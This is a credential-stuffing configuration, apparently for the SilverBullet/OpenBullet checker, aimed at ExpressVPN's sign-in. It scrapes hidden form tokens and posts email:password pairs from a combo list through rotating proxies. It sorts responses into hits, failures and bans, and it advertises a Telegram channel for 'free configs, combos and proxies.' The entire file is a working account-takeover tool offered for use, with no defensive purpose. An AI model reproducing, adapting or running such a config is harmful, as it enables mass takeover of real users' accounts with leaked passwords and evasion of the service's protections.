[SETTINGS]
{
  "Name": "Expressvpn.com By Typhon",
  "SuggestedBots": 1,
  "MaxCPM": 0,
  "LastModified": "2025-08-28T02:49:18.5508245-05:00",
  "AdditionalInfo": "Join My Telegram for more free configs , combos and proxies + MORE!!!! ---- https://t.me/typhonservices",
  "RequiredPlugins": [],
  "Author": "@TyphonServies",
  "Version": "1.1.2 [SB]",
  "SaveEmptyCaptures": false,
  "ContinueOnCustom": false,
  "SaveHitsToTextFile": false,
  "IgnoreResponseErrors": false,
  "MaxRedirects": 8,
  "NeedsProxies": true,
  "OnlySocks": false,
  "OnlySsl": false,
  "MaxProxyUses": 0,
  "BanProxyAfterGoodStatus": false,
  "BanLoopEvasionOverride": -1,
  "EncodeData": false,
  "AllowedWordlist1": "Default",
  "AllowedWordlist2": "",
  "DataRules": [],
  "CustomInputs": [],
  "CaptchaUrl": "",
  "IsBase64": false,
  "FilterList": [],
  "EvaluateMathOCR": false,
  "SecurityProtocol": 0,
  "ForceHeadless": false,
  "AlwaysOpen": false,
  "AlwaysQuit": false,
  "QuitOnBanRetry": false,
  "AcceptInsecureCertificates": true,
  "DisableNotifications": false,
  "DisableImageLoading": false,
  "DefaultProfileDirectory": false,
  "CustomUserAgent": "",
  "RandomUA": false,
  "CustomCMDArgs": "",
  "Title": "Expressvpn.com By Typhon",
  "IconPath": "Icon\\svbfile.ico",
  "LicenseSource": "Join My Telegram for more free configs , combos and proxies + MORE!!!! ---- https://t.me/typhonservices",
  "Message": "https://t.me/typhonservices",
  "MessageColor": "#FFFFFFFF",
  "HitInfoFormat": "[{hit.Type}][{hit.Proxy}] {hit.Data} - [{hit.CapturedString}]",
  "AuthorColor": "#FFFFB266",
  "WordlistColor": "#FFB5C2E1",
  "BotsColor": "#FFA8FFFF",
  "CustomInputColor": "#FFD6C7C7",
  "CPMColor": "#FFFFFFFF",
  "ProgressColor": "#FFAD93E3",
  "HitsColor": "#FF66FF66",
  "CustomColor": "#FFFFB266",
  "ToCheckColor": "#FF7FFFD4",
  "FailsColor": "#FFFF3333",
  "RetriesColor": "#FFFFFF99",
  "OcrRateColor": "#FF4698FD",
  "ProxiesColor": "#FFFFFFFF"
}

[SCRIPT]
#GET REQUEST GET "https://www.expressvpn.com/sign-in" 
  
  HEADER "Host: www.expressvpn.com" 
  HEADER "Connection: keep-alive" 
  HEADER "Cache-Control: max-age=0" 
  HEADER "Upgrade-Insecure-Requests: 1" 
  HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0" 
  HEADER "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" 
  HEADER "Sec-Fetch-Site: same-origin" 
  HEADER "Sec-Fetch-Mode: navigate" 
  HEADER "Sec-Fetch-User: ?1" 
  HEADER "Sec-Fetch-Dest: document" 
  HEADER "sec-ch-ua: \"Opera GX\";v=\"120\", \"Not-A.Brand\";v=\"8\", \"Chromium\";v=\"135\"" 
  HEADER "sec-ch-ua-mobile: ?0" 
  HEADER "sec-ch-ua-platform: \"Windows\"" 
  HEADER "Referer: https://www.expressvpn.com/sign-in" 
  HEADER "Accept-Language: en-US,en;q=0.9,th;q=0.8,ja;q=0.7,fr;q=0.6,pt-BR;q=0.5,pt;q=0.4,pl;q=0.3,ru;q=0.2,sv;q=0.1,nl;q=0.1,it;q=0.1,es;q=0.1,de;q=0.1,zh-TW;q=0.1,zh;q=0.1" 
  HEADER "Accept-Encoding: gzip, deflate" 

#1 PARSE "<SOURCE>" LR "<input name=\"utf8\" type=\"hidden\" value=\"" "\" />" -> VAR "1" 

#2 PARSE "<SOURCE>" LR "type=\"hidden\" name=\"xkgztqpe\" value=\"" "\" />" -> VAR "2" 

#US FUNCTION URLEncode "<USER>" -> VAR "US" 

#PS FUNCTION URLEncode "<PASS>" -> VAR "PS" 

#POST REQUEST POST "https://www.expressvpn.com/sessions" 
  CONTENT "utf8=<1>&xkgztqpe=<2>&location_fragment=&9641e5ca=&redirect_path=&email=<US>&password=<PS>&commit=Sign+In" 
  CONTENTTYPE "application/x-www-form-urlencoded" 
  HEADER "Host: www.expressvpn.com" 
  HEADER "Connection: keep-alive" 
  HEADER "Cache-Control: max-age=0" 
  HEADER "sec-ch-ua: \"Opera GX\";v=\"120\", \"Not-A.Brand\";v=\"8\", \"Chromium\";v=\"135\"" 
  HEADER "sec-ch-ua-mobile: ?0" 
  HEADER "sec-ch-ua-platform: \"Windows\"" 
  HEADER "Origin: https://www.expressvpn.com" 
  HEADER "Content-Type: application/x-www-form-urlencoded" 
  HEADER "Upgrade-Insecure-Requests: 1" 
  HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0" 
  HEADER "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" 
  HEADER "Sec-Fetch-Site: same-origin" 
  HEADER "Sec-Fetch-Mode: navigate" 
  HEADER "Sec-Fetch-User: ?1" 
  HEADER "Sec-Fetch-Dest: document" 
  HEADER "Referer: https://www.expressvpn.com/sign-in" 
  HEADER "Accept-Language: en-US,en;q=0.9,th;q=0.8,ja;q=0.7,fr;q=0.6,pt-BR;q=0.5,pt;q=0.4,pl;q=0.3,ru;q=0.2,sv;q=0.1,nl;q=0.1,it;q=0.1,es;q=0.1,de;q=0.1,zh-TW;q=0.1,zh;q=0.1" 
  HEADER "Accept-Encoding: gzip, deflate" 
  HEADER "Content-Length: 237" 

KEYCHECK 
  KEYCHAIN Success OR 
    KEY "please enter the verification code sent" 
  KEYCHAIN Failure OR 
    KEY "Invalid email or password." 
  KEYCHAIN Ban OR 
    KEY "<RESPONSECODE>" Contains "403" 

SET CAP "Config By" "@TyphonServices"
SET CAP "Telegram Channel" "https://t.me/typhonservices"